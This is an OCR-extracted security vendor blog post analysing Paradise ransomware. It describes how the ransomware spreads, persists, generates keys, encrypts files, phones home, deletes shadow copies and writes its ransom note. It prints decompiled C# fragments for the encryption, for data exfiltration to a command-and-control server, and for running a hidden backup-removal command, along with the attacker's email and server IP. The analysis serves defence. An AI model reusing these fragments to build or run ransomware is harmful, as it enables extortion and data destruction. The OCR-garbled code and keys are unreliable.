Paradise Ransomware strikes again
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ata Description Value
14C Machine IMAGE_FILE_MACH
003 Number of Sections
FFD24 Time Date Stamp 2018/01/05 Fn 22:33
00000 Pointer to Symbol Table
00000 Number of Symbols
DEOD Size of Optional Header
102 Characternistics
0002 IMAGE_FILE_EXECI
0100 IMAGE_FILE_32BIT

January 22, 2018 — Acronis Security Team

Cyber Protect Home Office

formerly Acronis True Image

Learn more

Paradise Ransomware hits again

The Paradise ransomware that was active in September 2017 is back with a new round of attacks, starting at the beginning of January 2018.
Leveraging the Ransomware as a Service (RaaS) model, the Paradise strain provides an unbreakable encryption scheme by using the RSA
cipher for file encryption — which is an unusual cipher choice.

1/6


https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again
https://www.acronis.com/en-us/blog/
https://www.acronis.com/en-us/blog/authors/acronis-security-team/
https://www.acronis.com/en-us/products/true-image/

The ransomware’s executable file is archived and spread via spam email as a zip attachment. To become infected, a user opens the
attachment, unpacks it, and executes the extracted application.

Static Analysis

The ‘DP_Main.exe’ ransomware file is a .NET compiled executable and requires .NET Framework 3.5 to start on a user’s machine (MD5:
8aa00ee509a649619794fc1390319293). The PE file is 36,684 bytes and was compiled on January 5, 2018.

Installation

The malware copies itself to the following folder on a user’s computer:
C:\Users\<USER>\AppData\Roaming\DP\

The executable adds the reference to itself in the Autorun Windows registry key as the following value:

‘DP_Main’ = ‘c:\Users\<USER>\AppData\Roaming\DP\DP_Main.exe’
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Ransomware Installation

Key generation
The ransomware creates ‘Decryptioninfo.auth’ file in the following folders:

e %USER%\
o %USER%\Desktop\
s Program Files\

The key file contains the session RSA private key in the XML format, encrypted with the master RSA public key and Base64 encoded:

gxIukmUglelLS5XXnXk4ialgFX1sU410sCuBrffpLHky4cOyvFcSOcOlgAFALKGYdJYIFTArrgevt
ioqiUTUaFUp8sd5CSLWH2Z /0BtamNOPwzsUOkplixQYCBkf1UEUNTUXASMSCxPbocqJAintr8xqTh
SsByRwngUWB1GrjX1+g11U3h0z962uTG5Ee2KGULF01 /lge jHAL t 1yOnoy+RmxQjSwopgqeDul
HeYdpTo0SyROkFSwZTdUgwBNwlAZ tkkhcwz+HUKF2mF G j JXYPDaKzw2/1mSiTYex/3ygX1UBX4F
Kab069cqu/q1kut6UGOxh2R2nw+sw3NgUWEWIEfdnacOK77OTArI11iFKMBSFH3QUC8rTolyeNl
TtTh$2/C+1i jzE30G jUUZThBdCHU+9AarbqJdPbFYB4MUtHOUbQsGKG+1WwuAUMQ2F TmmFIYEOxNY
QUWpLr33mBykKKZnYwK JEzMhGxuxSJ+OMbsKNbutwgSmtufcOxAToXxR4tcOO5/SQ4AB1RGY/Y3jq
120b6gnGLNAOKhC+IoUUeImNUYKY32UFEe TaAF0S90XwZ226GsGTeoly9aTdo31b6xX1b9Dg40allP
FBC195kuz4Jm0180X2g0uPblizpeigénBSU3emrlndt /8RTpzj 3gDW4BNNATF+CFULSOnbNH1uRFU
zTFgF taJKGYTM/FZHRUDZzzXNiOkPXETSSMNDGRK6UJB0RGHBUZhv /mWLBwsWDWRiMrkAG3ZMtUN
?/onI/eUu4/3H’7uqn'FpXSrn5quCC?cq1ZZelmFHPuaTQthZRprugU+tHqucLB'-ISXEzrhIXKXParadiseRansomware_Ke
pODuk9mFBS19YFAUOMphPUX31ni tEWWYpBudfxz8cuRK09UTolSL3JAEIREZ9cBUZCWoRAGATED y
JASK4xrymanlP+PkNuG18jk51aPlipOBy+8YmMCIMLKUMCYuCipICcTiwIrY1f9D0JaaRZzG0OSOD
TOb2z220CxtyR1 /EoYf/E1922Jal9/UDuAJlakSoJUnRYQiycHWJCKBAGIbo8OU/ YRAOSLZMiSI
/clNiPbkPuwTyC8Jqe39PGTZcYulLOcHUIN91MpS5J2gEBZzePtgLObSgSg+rwdnwP4Rgui 8BEW1
CSPTOd/IgHPYudLfASXzuWLeP+UAMOXR1IRUrDsnLwxPWUTcBFKSJBSAULIH1ra0fI4yHseyFLr3
ofy87XkMK1CT2zpJ jUAmdLNGgnKms3h0TOeN30qi t5n6btrDSi5x2nPbF /RcU1khnmgA9DhhRZ5
oobpFKjgn7zD51ir0jguToqlzLzpUPEBGY1mH3B/a42/810aN7CaDg0byelU%9e10eloaSAUIMHE
csBLOtb4wIu13ThA== . <RSAKeyUalue><Modulus>81LzTUkb+xnUtfmIKZ8MWRSzgMAGUpKABA
1WyqYwpJLNHaSSCKyfFDzuk jsix®R1idSUu8ghdbGB2B6cSk12dy0AXOx2HPqT3mS9t FEeAs81C
dHAxS$0as5P3j0AY3IZPkucOXmgk UpeOPygYwS40Y 1mKaBITZqrKeFuSFEpuHMk = < /Hodulus><E

xponent >A0AB< /Exponent ></R3$AKeylalue>
foreach (byte[] buffer3 in list)

byte[] bufferd = MasterRSA.Encrypt(buffer3, false);
Console WriteLine(bufferd.Length);

generation : s =5 + Encoding.Default. GetString(bufferd); Paradise Ransomware - Key generation 2
s = Convert.ToBasebd5tring(Encoding.Default. GetBytes(s));
CryptedPrivateKey = 5
SaveKeysToFiles(s + "\n" + RSA_Public);

The master RSA 1024-bit public key is hard coded in Base64:
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<RSAKeyValue>Modulus>um4QYAdiOy8L+VKslIAr8ggHzi8DrREUDbIuQtNuKZ3A9PBYJZ+623ngqt9HmhnvRxp 1SKrmlt+e QwkrGAOBOK+iiz6gNS
</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

File encryption

The Paradise ransomware encrypts ALL files on fixed, removable, and network drives.
It filters out the folders that contain the following strings:

o windows

o firefox

e opera

¢ chrome

e google

* The Application Data folder where the cryptolocker lives

The cryptolocker does not encrypt the files that contain the following strings:

e .paradise

o #DECRYPT MY FILES#.html
e |d.dp

o Decryptioninfo.auth

It first encrypts the files in any folders that contain the following strings:

e mysq|

o firebird

e mssql

* microsoft sql
e backup

The cryptolocker renames a file adding the following suffix: “[id-<USER_ID>].[AFFILIATE_EMAIL].paradise”
For example:

file.exe[id-iO3mBQGY].[paradise@all-ransomware.info].paradise

Paradise uses the RSA cipher, and the generated session key pairs to the encrypt file’s content, divided in blocks of 547 bytes.

List<byte[]> partOfFile = new List<byte[]=(;

List<byte> list2 = new List<byte=();

;f ((info.Length / 1024L) > 64L) Paradise Ransomware - encryption
partOfFile = GetPartOfFile(file, 547);

}

Communication

Once the encryption is completed, the malicious process sends a notification request to the remote server.
The sent data includes:

e The number of encrypted files
e The computer’s name

o Elapsed time

o Decryption info

e The computer’s ID

string address = server + "/api/Encrypted.php”;

using (WebClient client = new WebClient())

{
MNameValueCollection data = new NameValueCollection();
data.Add("v", vector);
data.Add("fc", FilesCount. ToString());
data.Add("computer_name", Environment.MachineName);
data.Add("et", elapsed_time);
data. Add("decryption_info", Decryptioninfo);
data.Add("id", PCID);
client.UploadValues(address, data);

1

Analyzed versions of the ransomware connect to ‘localhost’ only. The ransomware config contains ‘localhost’ as the C&C server, which could
mean that either the feature was deprecated or setting the server data in config was forgotten.

Paradise Ransomware - remote notification

Backup removal
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Paradise silently deletes Windows shadow copies, like many other ransomware variants currently in the wild:

ProcessStartinfo startlnfo = new ProcessStartinfo("crmd.exe", "/C sc delete V55") {
WindowStyle = ProcessWindowStyle.Hidden,
RedirectStandardOutput = true,
UzeShellExecute = falze,
CreateMoWindow = true Paradise Ransomware - backup removal
ki
Process process = Process.Start(startinfo);
process.StandardOutput.Read ToEnd();
process. WaitForExit();

Ransom note

In every folder, the cryptolocker leaves the ransom note ‘#DECRYPT MY FILES#.html’

[ WHAT HAPPENED

c o [ D) file:///B623DECRYPT%20MYS620F ILES3%23. html

Attention!

+ Do not rename encrypted files

+ Do not try to decrypt your data using third party software, it may cause permanent data loss
You are guaranteed to get the decryptor after payment
As evidence, we can decrypt one file
Do not attempt to use the antivirus or uninstall the program
This will lead to your data loss and unrecoverable
Decoders of other users is not suitable to decrypt your files - encryption key is unique

Paradise Ransom Note 2

[ WHAT HAPPENED

C O | DO file//D:/%23DECRYPT%20MY%20FILES%23 html

Your personal ID

GMIGzeuf

Your personal KEY

35 /CdF NmH/wSUaUmdEKHITE T cc0FHK/ /nLBe JgVTvpYLKQL pHPA MGKAXH/ rY 2t HDFRpUChNCQnO+QFa115/ om7F 61 24H4 1y 2 2YGASFLletah IV TrLgz7 1bYGIq@BaiQs FYULa7LCDN3RTgeBB1REP
ESMcIfglPSe+Ys0+zD]+dtOke171cYDNBS1/CRUNNNFBGIabWE/OkaBhobiYs8gCt JS6FADSKWEHTMtCy 20vRe cZARONFY@IKNNI 3/ SWiZQ1051FnlVpxolsgLWC jGePsealVyIUrTYMELP sV
vbtKz9kLoJdNRSGXOKbwGVAZL t 2D IzgGURNUQd4ues TQLpFIRVEF ZZQMQZAH] 1035 77An jdNuy sQSpmt AZ 1g0BUaKqR+ic ZXQLXEBEAQT 28Byal3iHhWZ s LF aj /9FVKFQDgGoxr57UzQdBaL 8m
5/ cPQ3nPciTEFQXEX/ /1M /oZmCRfe/cSV258 IKWAKgRTVEHDBEHE 2/ VIMYHS Osw+guOik FllyRe442E 7G JxFOWiHqm/ YSD@Rmd /WIKVKI5u0QGS THRavUL +AdAGh T@NVFHnM] /yeNF rhcoKL fhCmaFd
143vTPjb7jbkoai¥mCARjGS092811ZuTy jeolivalllp+nd6odtXzbh10dGel FrIMa6fusnbOoSok /GtdNFoPPsTZi j¥Ptj1idsGORXEr+j 2etXFrREEPDCH/ LaYurshfRyxoqC6SNEBLL+BY2RF+aF
BSY6STBythb3BQIU+vtBHKKI52ZGuAbMXdTFhrt 37¢ IgcOnGIhi 3IKF IVy5 LibeVkgwEFSMymaPItos 215 us TndUThE5M+BACRg/ ZZCvIAFZZVNIFAVYFul FFg 1B HWICYTiTov1TEVI 2a92dgul
bYci+/m/dTxLr30gpWKp+LLUzZN1ErDo@7E TuMk7qufVL I XAET 2501 iC195+dKF1sYKqIWWZAENILZZ rb@B T+ Ew+ISBhASMDAKYS+DIy PNHWbzOE J10vVS WY T EIwOry+Uyx L1 tmmbdr04aquGbh
SOEPThIRTZL/KNLUVDPaq+RgCHPEWOHH, xc LgplUKDnrVpUluF MYOOKE F£C aDmkepF 21 EwvZydb+nhESSYESP IVUNBmT § 17dAtUUbat FFoBZKULgbKVa 1kpnGnEaQUQVDT dWdsob/ cErOgb2h947x3Yg
hemlitil 1t +ybeqi+Pmwof X 1Kigmolesc61ULc leUnzcu54) 5E ThLqOAhkpY8Ibs+tGCF /OupSqblmdyw )i TolznTpshsd / ZWL1CGXF 72 sX5MxWIEF psKeBkZHNBy L2 JgsABHE tr7 2rCeAakaStud
ai cRxtiDMz/Ao+dCHOYnA==

WHAT HAPPENED!
+ Your impertant files produced on this computer have been encrypted due a security problem,
+ If you want to restore them, write to us by email.
» You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.
+ After payment we will send you the decryption tool that will decrypt all your files.

Paradise Ransom Note
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Decryption service

The ransom note includes a contact email address:
paradise@all-ransomware.info

The user can send up to three files with non-sensitive information — together with the ID and personal RSA key — to this email address to test
the decryption service. Each file should be less than 1 MB in size. One of the files will be decrypted as proof that decryption is possible. The
ransom value will be set in bitcoin and can vary based on when the user replies or the number of encrypted files.

The domain ‘all-ransomware.info’ has roots on Russia, according to Whols data:

Registrar Data

Registrant Contact Information:

Name Protection of Private Person

Organization Privacy Protection

Address PO box 87, REG.RU Protection Service Paradise Ransomware - domain
City Moscow

Postal Code 123887

Country RU

Phone +7.4955801111

Fax +7.4955801111

Email all-ransonware,info@®regprivate,.ru

The server is geographically located in St Petersburg.

Map Satellite La

e urg

Finland .

185.26.122.17
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Camukt-lNetepbypr '
0 W
Tallinn
@
EN
Estonia
> Sea -
GO g le //\\. Map data ©@2018 GeoBasis-DE/BKG (©2009), Google Terms of Use

Conclusion

There is no way to restore encrypted files other than to pay a ransom. The files are encrypted using a session public RSA key and require
session private RSA key, which is encrypted along with the master public RSA key. The session RSA private key can be decrypted only with
the master private RSA key, which is held by the criminals.

The only free alternative that is recommend is to restore files from backup, if available, after the infected computer has been cleaned.

Acronis True Image detects and blocks Paradise as well

Rather than waiting to react after Paradise encrypts your files, you can use Acronis True Image 2018 and our other products with Acronis
Active Protection enabled to detect and stop Paradise ransomware. You'll also be able to restore any affected files in matter of seconds.
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] Acronis Active Protection

Possible ransomware detected

A suspicious process is trying to modify your files. Do you trust
it?

paradise.exe

- Ransomware detected by Acronis
. . ChUsers\IEUser\Desktop\paradise.exe

View 163 affected files

| Block | | Trust

1 Acronis Active Protection {5} Settings

° 163 files were recovered
The ransomware was blocked. To be sure your data
is safe, scan your computer with antivirus software. IAcronis restores files
View summary

lose

CybersecurityCyber protection
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